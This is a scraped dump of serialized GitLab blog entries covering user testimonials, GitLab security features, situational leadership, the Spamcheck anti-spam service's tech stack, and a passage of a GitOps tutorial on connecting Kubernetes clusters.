the same direction with the same quality level.”_\n\n_“In projects where we have direct customer communication, we like to also use GitLab because GitLab gives you a more direct mode of communication. You can say we fixed this issue with this particular line of code at that particular moment in time. And it takes away intermediate layers of communication... and it keeps everything in context.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/pWVEnIQjGbE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nSebastian Schmid talks about how, since the adoption of GitLab, different teams in his organization are able to share and reuse source code more easily.\n\n_“Before [GitLab], only the team working on the code was able to see the code... [After starting to use GitLab] they started to use source code from other teams and collaborate in code with other teams.”_ \n\n_“People could start to contribute to our product and they don’t need to have some special skills. They just could write [an] issue, could paste some screenshots and stuff like that, and some engineers could take this and improve the product.”_\n\n## 4. A welcoming community\n\nAnyone can directly contribute to our open source GitLab core and help enhance the GitLab platform. We appreciated hearing advocates talk about their experiences contributing to GitLab and how welcoming the GitLab community has been. \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n  \u003Ciframe src=\"https://www.youtube.com/embed/qy9f-7DI_5k\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nDave Barr speaks about the value of working on a platform with an open source core and how great it is to see GitLab employees interact with contributors in the same way that they would with other GitLab employees. \n\n_“How you interact with that community is really telling. The way GitLab staff does that is really embracing, welcoming, open to feedback. They provide feedback; it's just like you’re a staff member. The approach they take to community contributions is the same exact approach they take for a staff merge request and that’s a fantastic approach.”_ \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/LNp3ioZr5mg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nGary Bell talks to us about how welcoming, responsive, and understanding the GitLab community is with new people who want to contribute. \n\n_“Personally, I’ve just found the overall GitLab community to be very welcoming and very understanding. Just the patience people have... they’re just welcoming and willing to give the time to help. That’s been absolutely fantastic to feel that, which is something that I’ve not felt when I’ve tried to contribute to other open source projects before.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/4-z3QjPzFPk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nSimilarly, Sven Patrick Meier shares with us his journey from identifying a potential feature, proposing it, and working through the process to get the contribution accepted. \n\n_“[I submitted a contribution] and the maintainers of the project commented on my feature request and said ‘great idea,’ and I provided the template as a basic example. They helped me with so many things, and, right now, I’m right before the first contribution to that awesome product that I use every day.”_ \n\n## 5. Exposure to end-to-end modern software development\n\nUsers talk about how GitLab helps introduce them to modern software development practices. They appreciated GitLab’s monthly releases packed with new features. \n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/YMydvPCIg44\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nMarcos Ortiz praises GitLab’s ease of use and how it made it easier to onboard team members. Marcos also speaks about how, when you get used to the way of doing things on GitLab, you can internalize beneficial development practices.\n\n_“When you get used to all these practices, load code frequently, to get everything in branch inside your repo story, I believe you can be faster in development.”_ \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/fP50GWZxz48\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nIn our discussion with Andy Malkin and Michael Kalange, we hear about how they feel that GitLab is not only on the cutting edge, but also a very reliable part of their work. \n\n_“When I use [GitLab], I feel like I’m on the cutting edge. A lot of time in tech you can feel like you’re using something and you know it’s outdated, but I don’t have that feeling with GitLab. When I’m using GitLab, I feel that you really are pushing the boundaries in terms of what’s the next thing that we need.”_ \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/7gU12X10718\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nChris Evans speaks to us about how GitLab's neatly organized user interface helped him learn more about the overall DevOps processes and tools.\n\n_“[I] started off as a network engineer [and] I ended up [in] some sysadmin-related roles but I was never really exposed to the software development lifecycle... but just through choosing GitLab as a project management platform, I was exposed to so many of the tools of the trade for this other industry, software engineering, and I was able to almost learn those in a way without having to use them directly.”_  \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/JhfFlSBQ7tY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nSimilarly, Ion Nistor tells us about how he gets exposed to new areas and tools in DevOps by using GitLab. \n\n_“I like to learn. Many of the things that GitLab brings are related to new technologies and new ways of doing things. GitLab in this sense acted [as a] gateway to new technologies. I have to learn about DevOps more, about containers, and these are benefits for my personal development.”_ \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/yuBeOxqnou4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nDibyadarshi Dash, a past intern at GitLab, highlights how having a single, integrated product to develop software made it easier for him to learn about software development end-to-end. \n\n_“I got a good exposure to what the software development lifecycle looks like because it was all in one platform, all in GitLab. The writing, coding, merging, deploying, testing, everything was in one platform. And I feel that because it was all in one integrated platform, I got a good holistic exposure to the whole cycle and I understood the cycle even better.”_ \n\n## Bringing it all together\n\nThe GitLab advocates reinforced our belief in GitLab’s value as a single DevOps platform. The advocates talked about being able to focus on getting work done, using automation to reduce manual steps, and transparently collaborating with their colleagues. They also highlighted how GitLab helps them get exposed to and learn about the modern software development process end-to-end thanks to our fast innovation and how our welcoming open source community has made it possible for them to contribute features to GitLab.\n",[4103,2704,267],{"slug":16334,"featured":6,"template":678},"five-devops-platform-benefits-that-inspire-gitlab-users","content:en-us:blog:five-devops-platform-benefits-that-inspire-gitlab-users.yml","Five Devops Platform Benefits That Inspire Gitlab Users","en-us/blog/five-devops-platform-benefits-that-inspire-gitlab-users.yml","en-us/blog/five-devops-platform-benefits-that-inspire-gitlab-users",{"_path":16340,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16341,"content":16346,"config":16351,"_id":16353,"_type":16,"title":16354,"_source":17,"_file":16355,"_stem":16356,"_extension":20},"/en-us/blog/three-things-you-might-not-know-about-gitlab-security",{"title":16342,"description":16343,"ogTitle":16342,"ogDescription":16343,"noIndex":6,"ogImage":15110,"ogUrl":16344,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16344,"schema":16345},"Three things you might not know about GitLab security","There's so much more to GitLab's security offering than meets the eye. Here are three features you may have missed.","https://about.gitlab.com/blog/three-things-you-might-not-know-about-gitlab-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Three things you might not know about GitLab security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Wilson\"}],\n        \"datePublished\": \"2021-11-23\",\n      }",{"title":16342,"description":16343,"authors":16347,"heroImage":15110,"date":16330,"body":16349,"category":674,"tags":16350},[16348],"Matt Wilson","\n\nOver the past couple of years, our users have come to know and regularly use our many security features that are part of the [Secure](/stages-devops-lifecycle/secure/) and [Protect](/stages-devops-lifecycle/govern/) stages. We have seen success stories from customers who have improved their security postures by reducing vulnerabilities in application code. One thing that surprises me when I speak to our users is that many aren’t aware of some of our most useful features. Here are three things you really should know about GitLab’s capabilities that will help take your security game to the next level.\n\n## We have a GraphQL API!\n\nGitLab has long offered a [REST API](https://docs.gitlab.com/ee/api/api_resources.html). It is quite capable but when it comes to vulnerability management, it is limited in what you can do. Our [GraphQL API](https://docs.gitlab.com/ee/api/graphql/index.html) is newer and is the area of focus for new API development. Vulnerability management in particular has quite an extensive feature set in the GraphQL API. Whether you are looking to build task automation, create custom reports, or pull in vulnerability data from external sources, GraphQL is your go to resource.\n\nBringing in vulnerability data from outside GitLab is a new capability worth calling extra attention to. You can use GraphQL to [directly create vulnerability records](https://docs.gitlab.com/ee/api/graphql/reference/#mutationvulnerabilitycreate) on projects. This is great for migrating vulnerability data from other systems, creating integrations with a bug bounty program, or even bringing in results from security tools that don’t run in GitLab pipeline jobs. I’m sure our users will come up with many more creative use cases. Even better, these vulnerability records show up in [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) and [Security Dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) just like results from any of our many included security scanners.\n\n## Security approvals help stop new vulnerabilities\n\nA primary goal of any application security program is to reduce risk by keeping vulnerabilities out of deployed code. One of the best ways to do this is by preventing new vulnerabilities from getting into your main branch in the first place. Scanning feature branches on every commit is a recommended practice many of our customers employ. But it’s how to keep vulnerability findings from being merged where I see a lot missing out on a power feature that can help.\n\nI commonly see pipelines configured to block or fail if any security scan jobs detect a potential vulnerability in new code. While this approach is effective in keeping new vulnerabilities from being merged, it can be more disruptive and less efficient for developers and AppSec teams. Instead, we recommend using [security approvals in merge requests](https://docs.gitlab.com/ee/user/application_security/index.html#security-approvals-in-merge-requests). Like normal MR approval rules, you first specify one or more individuals that will be part of the security approval group. Members of security approval groups don’t even need to have merge rights to the project so you can have [segregation of duties](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties). You then configure the detection rule to set the number of approvals required, severity levels that trigger the approval and even which scanners the rule applies to. And while you are setting up your approval rules, consider enabling the setting that [prevents merge approvals by the MR author](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-approval-by-author) for further segregation of duties.\n\nSecurity approval rules are great for a few reasons. First, you can more quickly enable and configure them on a project than custom pipeline behaviors. Also, only project owners and maintainers are able to access and modify these approvals. Contrast this with pipelines where anyone with the developer role can change pipeline configurations by default. Security approvals are also more visible and collaborative. When a pipeline is blocked or fails, the developer must navigate into the pipeline and try to figure out what failed by reading the job output. When a security approval is triggered, it will clearly show on the MR that merging is blocked until the flagged vulnerabilities are removed or approval is provided from the required number of security approvers. And because you can see any [scanner findings on the MR](https://docs.gitlab.com/ee/user/application_security/index.html#ultimate), developers can not only quickly investigate these potential vulnerabilities, they can also add comments and communicate with the security team. Best of all, developers can simply fix any findings that would require approval. Once the security scans no longer detect the violations, merging is immediately possible again.\n\n## Compliance pipelines enforce security hygiene\n\nLast but certainly not least is the newest of these three features: [compliance pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration). Have you ever wanted to make sure your code branches are properly scanned for vulnerabilities but you were having trouble auditing and enforcing it? Compliance pipelines to the rescue! Compliance pipelines allow group owners to add an additional pipeline configuration to projects. These configurations are combined with any existing configurations for the project pipeline. Compliance pipeline configurations are evaluated before any project configurations meaning they can override any values in the project pipeline. This is a powerful tool for automatically enforcing compliance with various regulatory and private industry standards as well as any internal company policies.\n\nCompliance pipelines work best when combined with [compliance frameworks](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-frameworks). Compliance frameworks allow group owners to specify the location of a compliance pipeline configuration. The configuration can be stored and managed in a dedicated project with restricted access. Special compliance framework labels are created which can then be applied by the group owner to any projects within the group. This label is what tells a project’s pipeline to pull in the associated compliance pipeline configuration. For example, you might create a PCI compliance label. You then simply apply the label to any projects within the scope of PCI such as any that process or store customer information and payment details.\n\nContinuing with our PCI example, you can enforce code scanning with these two features in place. Simply create a compliance pipeline configuration with the desired scanners included such as SAST and Secret Detection. Be sure the configuration file is in a project with access granted only to those users who should have permissions to modify it. Then, edit your PCI compliance label in your group settings and point it to the compliance pipeline configuration. You can even allow compliance job values to be settable at the project level. This means you can, for example, ensure a SAST job runs but leave room to select the right language-specific analyzers for a particular project’s codebase. Even better, [use GraphQL to quickly apply compliance labels](https://docs.gitlab.com/ee/api/graphql/reference/index.html#mutationprojectsetcomplianceframework) to multiple projects.\n\n## Wrapping it up\n\nWith so many features in a single platform, it is easy to overlook some. The ones I’ve shared are only a few of the many security-related features GitLab includes. They are also important to know about because of the additional flexibility and control they offer in addition to our comprehensive security scanning capabilities. I hope you’ve found at least one new idea to add to your security toolbelt.\n",[4103,674,754],{"slug":16352,"featured":6,"template":678},"three-things-you-might-not-know-about-gitlab-security","content:en-us:blog:three-things-you-might-not-know-about-gitlab-security.yml","Three Things You Might Not Know About Gitlab Security","en-us/blog/three-things-you-might-not-know-about-gitlab-security.yml","en-us/blog/three-things-you-might-not-know-about-gitlab-security",{"_path":16358,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16359,"content":16364,"config":16369,"_id":16371,"_type":16,"title":16360,"_source":17,"_file":16372,"_stem":16373,"_extension":20},"/en-us/blog/situational-leadership-strategy",{"title":16360,"description":16361,"ogTitle":16360,"ogDescription":16361,"noIndex":6,"ogImage":16010,"ogUrl":16362,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16362,"schema":16363},"Situational Leadership Strategy","GitLab CEO Sid Sijbrandij shares how he incorporates situational leadership in his management style.","https://about.gitlab.com/blog/situational-leadership-strategy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Situational Leadership Strategy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2021-11-19\",\n      }",{"title":16360,"description":16361,"authors":16365,"heroImage":16010,"date":16366,"body":16367,"category":8943,"tags":16368},[3532],"2021-11-19","\n \n[Situational Leadership Theory](https://situational.com/blog/the-four-leadership-styles-of-situational-leadership/) is a model created by Paul Hersey and Ken Blanchard in 1969. It describes  a leadership style that is adapted to a direct report depending on the unique individual or situation, with no\none style being better than another.\n \nHersey and Blanchard grouped leadership styles into four behaviors:\n \n* **Telling:** The report lacks the skills required to do the job, but is willing to work at it.\n* **Selling:** The report is capable of performing, but is unwilling to do the task.\n* **Participating:** The report is experienced in performing the task, but not confident.\n* **Delegating:** The report is experienced, confident, and takes ownership of the task.\n \nDepending on the individual and the task at hand, it’s necessary to adapt your leadership approach in order to be\nthe most effective leader possible.\n \nI have built on top of this model as I adapt my leadership style based on specific circumstances.\n \nThe following factors inform my approach to managing an individual in a specific situation:\n \n1. **Experience level**: What is the experience level of the report?\n1. **Skills required**: What skills are required to perform the task?\n1. **My own skill**: What skills do I have to perform the task? Should I delegate my weaknesses or strengths?\n1. **Task importance**: What is the importance and priority of the task?\n1. **Task urgency**: How quickly do we need to complete the task?\n1. **Opportunities to provide feedback**: What opportunities are there to provide feedback? Should the feedback be in a group setting or in a 1-1?\n1. **Learning opportunities**: Are others able to learn from doing the task? Does a group setting or live stream help others learn?\n1. **Reporting relationship**: Are they a direct or indirect report? Are they external to the company?\n1. **Time available**: How much time does the report have to perform the task? What is their capacity?\n1. **Time needed**: How much time would it take me to perform the task?\n1. **Current solution**: What is the shortfall of the current solution?\n1. **My emotion**: How much does the shortfall bother me?\n1. **Feedback effort**: How much effort do I need to invest in order to give the feedback?\n1. **Feedback allocation**: How much time is available to provide feedback?\n1. **Previous feedback**: What feedback have they already received regarding the task? Have I already given feedback?\n1. **Team member’s state of mind**: How is the report feeling?\n1. **Metrics**: What data is available to the report as a means of automatic feedback?\n1. **Relationship duration**: How long do I expect to work with this person?\n1. **Resourcing needed**: What resources does the person need to complete the task? Do they have these resources available?\n \nThese are also not complete tradeoffs. A combination of any number of these factors help determine my approach. For example, I may choose to more heavily weight a team member’s state of mind if I know that they recently experienced a personal hardship and the task does not have great urgency--even if I have a high level of emotional engagement.\n \nIt’s important to note that while this list outlines key considerations that inform my management style, it doesn’t mean that I choose the most effective approach in a particular instance. \n \nFor more information on Situational Leadership and you can adapt your own leadership style, check out the book\n[_Management of Organizational Behavior_](https://www.amazon.com/Management-Organizational-Behavior-10th-Hersey/dp/0132556405) by Paul Hersey, Ken Blanchard, and Dewey Johnson.\n",[7715,2368,1444],{"slug":16370,"featured":6,"template":678},"situational-leadership-strategy","content:en-us:blog:situational-leadership-strategy.yml","en-us/blog/situational-leadership-strategy.yml","en-us/blog/situational-leadership-strategy",{"_path":16375,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16376,"content":16382,"config":16392,"_id":16394,"_type":16,"title":16395,"_source":17,"_file":16396,"_stem":16397,"_extension":20},"/en-us/blog/deep-dive-tech-stack-behind-spamcheck",{"title":16377,"description":16378,"ogTitle":16377,"ogDescription":16378,"noIndex":6,"ogImage":16379,"ogUrl":16380,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16380,"schema":16381},"Deep dive: the tech stack behind Spamcheck","We take a closer look at the tooling, technical choices, metrics and lessons learned behind our new anti-abuse tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669851/Blog/Hero%20Images/vincent-toesca-KnK98ScsZbU-unsplash.jpg","https://about.gitlab.com/blog/deep-dive-tech-stack-behind-spamcheck","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Deep dive: the tech stack behind Spamcheck\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jayson Salazar\"},{\"@type\":\"Person\",\"name\":\"Alexander Dietrich\"},{\"@type\":\"Person\",\"name\":\"Alex Groleau\"},{\"@type\":\"Person\",\"name\":\"Ethan Urie\"},{\"@type\":\"Person\",\"name\":\"Juliet Wanjohi\"}],\n        \"datePublished\": \"2021-11-18\",\n      }",{"title":16377,"description":16378,"authors":16383,"heroImage":16379,"date":16389,"body":16390,"category":674,"tags":16391},[16384,16385,16386,16387,16388],"Jayson Salazar","Alexander Dietrich","Alex Groleau","Ethan Urie","Juliet Wanjohi","2021-11-18","\n\nWe recently wrote about how our [Security Automation](/handbook/security/security-engineering/automation/) team designed, tested and deployed a [new anti-spam engine called Spamcheck](/blog/introducing-spamcheck-data-driven-anti-abuse/). In this blog, we’d like to offer a deeper dive into our toolstack, the contributing factors surrounding some of those technical choices, and a look at the stack’s performance, including some lessons learned so far. \n\n## Building with flexibility and growth in mind\n\nAs mentioned in our previous blog on Spamcheck, we conceived and built the service to rely on Golang and gRPC from the beginning, and made this choice for 3 main reasons:\n1. Golang is one of the main languages (along with Ruby) that GitLab currently uses for its systems and services. We suspected from early interest and success that we’d need to eventually ship Spamcheck with Omnibus, so we needed to ensure minimal friction in build processes and shipment. Aligning Spamcheck’s stack with current GitLab engineering policies guaranteed we’d be flexible and efficient. Readers might wonder why Python wasn’t the foundation of such a data-driven, ML-powered service, despite [Python being a requirement for GitLab since 11.10](https://gitlab.com/gitlab-org/gitlab/-/commit/e5af7d83962934fc0463657a006acb54d4f85e85). While this is true, Python has only just recently been given serious consideration and attention at GitLab and our design, adaptation, integration and implementation work on Spamcheck has been ongoing for almost a year.\n2. Golang is high-performing, statically-linked and produces modestly-sized binaries most of the time. Other languages would have forced us to ship complex, voluminous environments; whereas, Golang allowed us to generate and ship small builds and images. Furthermore, we expected to expand analyses from GitLab issues to other user-generated artifacts, such as snippets and issue comments, so we’d need to be able to eventually process an even higher volume of requests efficiently.\n3. Finally, and as with any such service, we needed an invocation architecture, flexible and backwards-compatible API definitions, and out-of-the-box efficient serialization. What started as a proof-of-concept was starting to look more like a fundamental GitLab component, long-term. Thus, we decided to rely on gRPC, and [Gitaly](https://gitlab.com/gitlab-org/gitaly) and [Workhorse](https://gitlab.com/gitlab-org/gitlab/-/tree/master/workhorse/) set successful precedents to follow. It was important to ensure the communication protocol between GitLab and Spamcheck would not become a bottleneck; leaving future growth and flexibility unhindered.\n \n## Selecting infrastructure components for stability and scalability\n\nAs a small, largely self-sufficient, cross-disciplinary development team without dedicated SREs, our Security Automation team decided on [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/docs/concepts/kubernetes-engine-overview) (GKE) and [Knative](https://knative.dev/docs/) as our generic platform on which to develop, run, monitor and scale our workloads. This combination gave us the stability and scalability to provide a service that would eventually be integrated with GitLab.com. Today, we’re happy to share that Spamcheck has been successfully operating productively on all GitLab-related public projects on GitLab.com, the hardest hit by abuse, for about a month. We're targetting inclusion of Spamcheck in the [14.6 release for our GitLab self-managed customers](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6259). \n\nAt this point, however, it’s important to mention that the choices of Golang, gRPC, Kubernetes or Knative weren't decisions made lightly; here be dragons. A key consideration here was ensuring all team members involved were well-versed in the stack-components and aware of the custom deployment artifacts, the equivalent workflows for normal procedures such as debugging and more; as well as the rationale behind those workflows. _If you choose to follow shiny objects, make sure to do so for the right reasons and be sure to full-heartedly commit to thoughtful, well-reasoned usage._\n\n## Removing complexity; adding accuracy and stability\n\nGiven the above, it’s worth asking how we removed much of this complexity from the team's day-to-day operations, so as not to interfere with productivity and the project's progress. For that, as is to be expected, we use GitLab CI/CD. We use GitLab pipelines for building, storing, tracking and deploying the Docker images that make up the Spamcheck service. GitLab’s Kubernetes integration and CI pipeline features make production deployments of our service a one-click operation for members of the Security Automation team. This integration removes much of the complexity associated with properly building ProtoBuf definitions as required by gRPC-enabled services, including gathering and shipping dependencies, etc. Being in control of the deployment allows us to iterate quickly. This came in handy during the early stages of the rollout when gathering metrics about Spamcheck’s operation under real-world conditions efficiently, then iterating on the codebase and redeploying quickly was crucial.\n\nAs Spamcheck is called during the creation and update of public GitLab issues, low latency, stability and high accuracy are critical. To ensure these constraints are fulfilled, our team employs a range of GCP Cloud Monitoring services, including logs-based metrics, custom metrics, uptime checks and alerting policies. All of these and the GKE setup are automated via Terraform wherever possible, following our own [“Infrastructure as Code''](/direction/delivery/infrastructure_as_code/) strategy. \n\n## Early wins and metric-driven iteration\n\nAt GitLab, measurement is more than a buzzword, it’s part of our [“writing down promises”](https://handbook.gitlab.com/handbook/values/#write-promises-down) culture and [measuring our creations](https://docs.gitlab.com/ee/development/service_measurement.html#measuring-module) in order to define precise destinations and reorient whenever needed. \n\nTherefore, early on Spamcheck’s journey we set our sights on:\n* Surpassing Akismet’s precision and recall \n* Reducing the number of successfully submitted Spam issues our [Trust and Safety team](/handbook/security/security-operations/trustandsafety/) was dealing with on a day to day basis \n\nNow that we've been operating Spamcheck on all GitLab-related public projects on GitLab.com for the last month, our metrics show that we've surpassed Akismet’s false negative and false positive rates by ~300% and ~30% respectively. This means we've considerably reduced the amount of spam-related issues that reach our Trust and Safety team.  _In case you were expecting a detail-sparse, but nonetheless production-near sneak peek, into our good-looking dashboards for inspiration or just out of curiosity, here’s an impression from this past week from Spamcheck’s accuracy tracking dashboard:_\n\n![file name](https://about.gitlab.com/images/blogimages/spamcheck-dashboard.png){: .shadow.medium.center}\nSpamcheck’s accuracy tracking dashboard.\n{: .note.text-center}\n\n\n## Connecting Spamcheck to existing tooling\n\nThe Spamcheck service integrates with Inspector, our in-house machine learning model built by our Trust and Safety team to detect spam on GitLab issues and other user artifacts. While being analyzed, each issue request is sent to Inspector which provides a `spam` or `ham` prediction based on the issue’s content. Inspector is written in Python and utilizes a few libraries, mainly [Tensor-Flow](https://www.tensorflow.org/) and [scikit-learn](https://scikit-learn.org/stable/), which are open source and highly regarded by the machine learning community.\n\nAdditionally, use cases arose relatively early in Spamcheck’s development which led us to integrate GitLab’s main logging, monitoring, metrics and tracing infrastructure. Luckily, by leveraging [LabKit](https://gitlab.com/gitlab-org/labkit), a minimalist library that implements these features for Golang and Ruby services at GitLab, we’re able to easily ship metrics and logs via  Prometheus, Jaeger, LogStash and logrus to monitor, and when needed, we can troubleshoot our application in production.\n\nUsing these tools, services and strategies, we’re constantly monitoring Spamcheck’s performance, accuracy, and its impact on GitLab.com. We’re using our findings to continually improve our users’ experiences with our site. \n\n## Improvement and iteration\n\nOperating Spamcheck successfully wouldn’t have been possible if we hadn’t committed to improving the product itself, via numerous public, and many more private issues that were opened as a result of our lessons learned by developing and operating Spamcheck. \n\nFor example, we [evaluated possible improvements to BLOCK case handling in spam verdicts](https://gitlab.com/gitlab-org/gitlab/-/issues/329666), [stopped overriding Spamcheck verdicts !=ALLOW and now refuse to allow rescuing via reCAPTCHA](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71496) and also [extended blocking functionality to allow for shadow-banning](https://gitlab.com/groups/gitlab-org/-/epics/5741). \n\nLooking forward, we’ve started defining a better model development lifecycle, and integrating Inspector into Spamcheck to make it easier to deploy our service on self-managed instances. We’ve also started looking at potential retraining cadences and the versioning and testing of models to ensure that at any time our production system is using an optimally-trained model. We’re also looking to diversify our detection in other areas of GitLab where spam is encountered, including, for example, snippet spam using machine learning. \n\nCover image by [Vincent Toesca](https://unsplash.com/@vtoesca) on [Unsplash](https://unsplash.com/photos/KnK98ScsZbU)\n{: .note}\n",[674],{"slug":16393,"featured":6,"template":678},"deep-dive-tech-stack-behind-spamcheck","content:en-us:blog:deep-dive-tech-stack-behind-spamcheck.yml","Deep Dive Tech Stack Behind Spamcheck","en-us/blog/deep-dive-tech-stack-behind-spamcheck.yml","en-us/blog/deep-dive-tech-stack-behind-spamcheck",{"_path":16399,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16400,"content":16405,"config":16409,"_id":16411,"_type":16,"title":16412,"_source":17,"_file":16413,"_stem":16414,"_extension":20},"/en-us/blog/gitops-with-gitlab-connecting-the-cluster",{"title":16401,"description":16402,"ogTitle":16401,"ogDescription":16402,"noIndex":6,"ogImage":12013,"ogUrl":16403,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16403,"schema":16404},"GitOps with GitLab: Connect with a Kubernetes cluster","In our third article in our GitOps series, learn how to connect a Kubernetes cluster with GitLab for pull and push-based deployments.","https://about.gitlab.com/blog/gitops-with-gitlab-connecting-the-cluster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: Connect with a Kubernetes cluster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-11-18\",\n      }",{"title":16401,"description":16402,"authors":16406,"heroImage":12013,"date":16389,"body":16407,"category":734,"tags":16408},[2544],"\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can find the entire \"Ultimate guide to GitOps with GitLab\" tutorial series [here](/blog/the-ultimate-guide-to-gitops-with-gitlab/)._\n\n## GitOps with GitLab: connecting a Kubernetes cluster\n\nThis [GitOps](/topics/gitops/) with GitLab post shows how to connect a Kubernetes cluster with GitLab for pull and push based deployments and easy security integrations. In order to do so, the following elements are required:\n\n- A Kubernetes cluster that you can access and can create new resources, including `Role` and `RoleBinding` in it. \n- You will need `kubectl` and your local environment configured to access the beforementioned cluster.\n- (Optional, recommended) Terraform and a Terraform project set up as shown [in the previous article](/blog/gitops-with-gitlab-infrastructure-provisioning/) to retrieve an agent registration token from GitLab.\n- (Optional, recommended) `kpt` and `kustomize` to install the Agent into your cluster.\n- (Optional, quickstart) If you prefer a less \"gitopsy\" approach, you will need `docker` (Docker Desktop is not needed). This is simpler to follow, but provides less control to you.\n\n## How to connect a cluster to GitLab\n\nThere are many ways how one can connect a cluster to GitLab:\n\n- you can set up a `$KUBECONTEXT` variable manually, manage all the related connections and use GitLab CI/CD to push changes into your cluster\n- you can use a 3rd party tool, like [ArgoCD](https://argo-cd.readthedocs.io/en/stable/) or [Flux](https://fluxcd.io) to get pull based deployments\n- you can use the legacy, certificate-based cluster integration within GitLab in which case GitLab will manage the `$KUBECONTEXT` for you and you can get easy metrics, log and monitoring integrations\n- or you can use the recommended approach, the [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/), to have pull and push based deployment support, network security policy integrations and the possibility of metrics and monitoring too\n\nWe are going to focus on the Agent-based setup here as we believe that it serves and will serve our users best, hopefully you included.\n\n## How does the Agent work\n\nThe Agent has a component that needs to be installed into your cluster. We call this component `agentk`. Once `agentk` is installed it reaches out to GitLab, and authenticates itself with an access token. So, the first step is to get a token from GitLab. We call this step \"the Agent registration.\" If the authentication succeeds, `agentk` sets up a bidirectional GRPC channel between itself and GitLab. The emphasis here is on \"bidirectional.\" This enables requests and messages to be sent by either side and provides the possibility of much deeper integrations than the other approaches while still being a nice citizen within your cluster.\n\nOnce the connection is established, the Agent retrieves its own configuration from GitLab. This configuration is a `config.yaml` file under a repository, and you actually register the location of this configuration file when you register a new Agent. The configuration describes the various capabilities enabled of an Agent.\n\nOn the GitLab side, `agentk` communicates with - what we call - the Kubernetes Agent Server, or `kas`. As most users do not have to deal with setting up `kas`, I won't write about it here. You need to be a GitLab administrator [to set up and manage `kas`](https://docs.gitlab.com/ee/administration/clusters/kas.html). If you are on gitlab.com, `kas` is available to you at `kas.gitlab.com`, thanks to our amazing SRE team.\n\nSo the steps we are going to take in this article are the following:\n\n1. Create a configuration file for the Agent\n1. Register the Agent and retrieve its authentication token\n1. Install `agentk` into the cluster together with the token\n\nFinally, we will set up an example pull-based deployment just to test that everything worked as expected. Let's get started!\n\n## How many Agents do you need for a larger setup\n\nWe recommend having a separate Agent registered at least against each of your environments. If you have multiple clusters, have at least one agent registered with each cluster. While it is possible to have many `agentk` deployments with the same authentication token and thus configuration file, this is not supported and might lead to syncronization problems!\n\nThe different agent configurations can use the same Kubernetes manifests for deployments. So maintaining a multi-region cluster where all the clusters should be identical does not require much effort. \n\nWe designed `agentk` to be very lightweight so you should not worry about deploying multiple 